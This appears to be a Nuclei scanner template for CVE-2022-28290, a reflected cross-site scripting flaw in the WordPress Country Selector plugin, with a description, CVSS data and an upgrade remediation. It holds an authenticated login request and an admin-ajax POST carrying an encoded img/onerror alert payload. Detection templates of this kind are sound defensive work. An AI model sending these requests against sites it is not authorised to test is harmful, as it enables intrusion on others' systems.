65 lines
2.5 KiB
YAML
65 lines
2.5 KiB
YAML
id: CVE-2022-28290
|
|
|
|
info:
|
|
name: WordPress Country Selector <1.6.6 - Cross-Site Scripting
|
|
author: Akincibor
|
|
severity: medium
|
|
description: |
|
|
WordPress Country Selector plugin prior to 1.6.6 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the country and lang parameters before outputting them back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
remediation: |
|
|
Update WordPress Country Selector plugin to version 1.6.6 or later to mitigate the vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479
|
|
- https://cybersecurityworks.com/zerodays/cve-2022-28290-reflected-cross-site-scripting-in-welaunch.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-28290
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-28290
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00117
|
|
epss-percentile: 0.45359
|
|
cpe: cpe:2.3:a:welaunch:wordpress_country_selector:1.6.5:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: welaunch
|
|
product: wordpress_country_selector
|
|
framework: wordpress
|
|
tags: wordpress-country-selector,wpscan,cve,cve2022,wp,wordpress,wp-plugin,xss
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
- |
|
|
POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/2
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
country=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&lang=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&site_locate=en-US
|
|
|
|
cookie-reuse: true
|
|
skip-variables-check: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<img src=x onerror=alert(document.domain)>'
|
|
- 'country_selector_'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100f9ecbbecbc26ab7d41e871e94edf57a8b331eeab548f3d5f3d3778e1a4fcaa17022016669a2f6147fd05067dcac7d5f55164ddbc82207d03f91d9417724df13c5b2d:922c64590222798bb761d5b6d8e72950 |